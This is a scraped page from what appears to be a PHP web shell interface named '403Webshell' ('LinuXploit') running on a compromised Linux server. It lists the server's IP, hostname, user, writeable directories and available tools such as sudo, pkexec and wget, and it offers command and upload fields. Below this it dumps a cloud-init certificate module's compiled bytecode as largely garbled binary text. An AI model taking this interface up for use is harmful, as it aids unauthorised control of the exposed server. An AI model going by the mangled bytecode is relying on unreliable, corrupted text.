403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_ca_certs.cpython-36.pyc
3

?q,d��@s�UdZddlZddlmZddlmZmZddlmZm	Z	ddl
mZddd	d
dgd�Zd
ddddgd�d
ddddgd�d�Z
dZdddddgZdddeeeed�gd�Zee	e�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�ZdS))zCA Certs: Add ca certificates.�N)�dedent)�subp�util)�
MetaSchema�get_meta_doc)�PER_INSTANCEz/usr/share/ca-certificates/zcloud-init-ca-certs.crtz/etc/ca-certificates.confz/etc/ssl/certs/zupdate-ca-certificates)�ca_cert_path�ca_cert_filename�ca_cert_config�ca_cert_system_path�ca_cert_update_cmdz/usr/share/pki/ca-trust-source/zanchors/cloud-init-ca-certs.crtz/etc/pki/ca-trust/zupdate-ca-trust)�	almalinux�rhelaEThis module adds CA certificates to ``/etc/ca-certificates.conf`` and updates
the ssl cert cache using ``update-ca-certificates``. The default certificates
can be removed from the system with the configuration option
``remove_defaults``.

.. note::
    certificates must be specified using valid yaml. in order to specify a
    multiline certificate, the yaml multiline list syntax must be used

.. note::
    For Alpine Linux the "remove_defaults" functionality works if the
    ca-certificates package is installed but not if the
    ca-certificates-bundle package is installed.
r
Zalpine�debian�ubunturZcc_ca_certszCA CertificateszAdd ca certificatesa            ca_certs:
              remove_defaults: true
              trusted:
                - single_line_cert
                - |
                  -----BEGIN CERTIFICATE-----
                  YOUR-ORGS-TRUSTED-CA-CERT-HERE
                  -----END CERTIFICATE-----
            )�id�name�title�description�distrosZ	frequencyZexamplescCs*tj|t�}tjj|d|d�|d<|S)z�Return a distro-specific ca_certs config dictionary

    @param distro_name: String providing the distro class name.
    @returns: Dict of distro configurations for ca-cert.
    rr	�ca_cert_full_path)�DISTRO_OVERRIDES�get�DEFAULT_CONFIG�os�path�join)�distro_name�cfg�r�!/usr/lib/python3.6/cc_ca_certs.py�_distro_ca_certs_configsQsr!cCstj|ddd�dS)z�
    Updates the CA certificate cache on the current machine.

    @param distro_cfg: A hash providing _distro_ca_certs_configs function.
    rF)ZcaptureN)r)�
distro_cfgrrr �update_ca_certs^sr#cCs<|sdSdjdd�|D��}tj|d|dd�t|�dS)z�
    Adds certificates to the system. To actually apply the new certificates
    you must also call L{update_ca_certs}.

    @param distro_cfg: A hash providing _distro_ca_certs_configs function.
    @param certs: A list of certificate strings.
    N�
cSsg|]}t|��qSr)�str)�.0�crrr �
<listcomp>rsz add_ca_certs.<locals>.<listcomp>ri�)�mode)rr�
write_file�update_cert_config)r"ZcertsZcert_file_contentsrrr �add_ca_certsgsr,cs��ddkrdStj�d�jdkr2d�d}n>tj�d�}dj�fdd�|j�D��}d	|j��df}tj�d|d
d�dS)z�
    Update Certificate config file to add the file path managed cloud-init

    @param distro_cfg: A hash providing _distro_ca_certs_configs function.
    r
Nrz%s
r	r$csg|]}|�dkr|�qS)r	r)r&�line)r"rr r(�sz&update_cert_config.<locals>.<listcomp>z%s
%s
�wb)Zomode)	r�stat�st_sizerZ	load_filer�
splitlines�rstripr*)r"�outZorigZcr_contr)r"r r+ys
r+cCsLtj|d�tj|d�tj|dddd�|dkrHd}tjd|�d
S)a
    Removes all default trusted CA certificates from the system. To actually
    apply the change you must also call L{update_ca_certs}.

    @param distro_name: String providing the distro class name.
    @param distro_cfg: A hash providing _distro_ca_certs_configs function.
    rrr
�i�)r)rrz/ca-certificates ca-certificates/trust_new_crts z	select no�debconf-set-selections�-N)rrz8ca-certificates ca-certificates/trust_new_crts select no)r5r6)rZdelete_dir_contentsr*r)rr"Zdebconf_selrrr �remove_default_ca_certs�sr7cCs
d|kr|jd�nd|kr,|jd|�dSd|krFd|krF|jd�|jd|jd��}t|jj�}d|kr�|jd�|jdd	�r�|jd
�t|jj|�n$|jdd	�r�|jd
�t|jj|�d|kr�tj|d�}|r�|jd
t	|��t
||�|jd�t|�dS)au
    Call to handle ca-cert sections in cloud-config file.

    @param name: The module name "ca-cert" from cloud.cfg
    @param cfg: A nested dict containing the entire cloud config contents.
    @param cloud: The L{CloudInit} object in use.
    @param log: Pre-initialized Python logger object to use for logging.
    @param args: Any module arguments from cloud.cfg
    zca-certszFDEPRECATION: key 'ca-certs' is now deprecated. Use 'ca_certs' instead.Zca_certsz<Skipping module named %s, no 'ca_certs' key in configurationNzMFound both ca-certs (deprecated) and ca_certs config keys. Ignoring ca-certs.zremove-defaultszfDEPRECATION: key 'ca-certs.remove-defaults' is now deprecated. Use 'ca_certs.remove_defaults' instead.FzRemoving default certificatesZremove_defaultsZtrustedzAdding %d certificateszUpdating certificates)Zwarning�debugrr!Zdistrorr7rZget_cfg_option_list�lenr,r#)rrZcloud�logZ_argsZca_cert_cfgr"Z
trusted_certsrrr �handle�s:




r;)�__doc__r�textwraprZ	cloudinitrrZcloudinit.config.schemarrZcloudinit.settingsrrrZMODULE_DESCRIPTIONr�metar!r#r,r+r7r;rrrr �<module>sJ


	

Youez - 2016 - github.com/yon3zu
LinuXploit